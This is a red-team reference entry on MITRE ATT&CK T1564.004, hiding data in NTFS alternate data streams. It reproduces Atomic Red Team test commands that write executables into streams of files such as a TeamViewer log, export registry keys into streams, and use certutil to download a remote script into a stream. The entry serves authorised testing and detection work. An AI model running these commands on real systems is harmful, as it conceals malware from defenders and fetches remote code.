t1564-004-ntfs-file-attributes

name	T1564.004_ntfs-file-attributes
description	Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection.
category	configuration
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1564.004","defense-evasion","windows","sub-technique"]
technique_id	T1564.004
tactic	defense-evasion
all_tactics	["defense-evasion"]
platforms	["Windows"]
mitre_url	https://attack.mitre.org/techniques/T1564/004
tech_stack	["windows"]
cwe_ids	["CWE-693"]
chains_with	["T1564","T1564.001","T1564.002","T1564.003","T1564.005","T1564.006","T1564.007","T1564.008","T1564.009","T1564.010","T1564.011","T1564.012","T1564.013","T1564.014"]
prerequisites	["T1564"]
severity_boost	{"T1564":"Chain with T1564 for deeper attack path","T1564.001":"Chain with T1564.001 for deeper attack path","T1564.002":"Chain with T1564.002 for deeper attack path"}

T1564.004 NTFS File Attributes

Sub-technique of: T1564

High-Level Description

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.

Kill Chain Phase

• Defense Evasion (TA0005)

Platforms: Windows

What to Check

• Identify if NTFS File Attributes technique is applicable to target environment
• Check Windows systems for indicators of NTFS File Attributes
• Verify mitigations are bypassed or absent (1 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Alternate Data Streams (ADS)

Execute from Alternate Streams

Reference - 1

Reference - 2

Supported Platforms: windows Elevation Required: Yes

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\temp:ttt
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o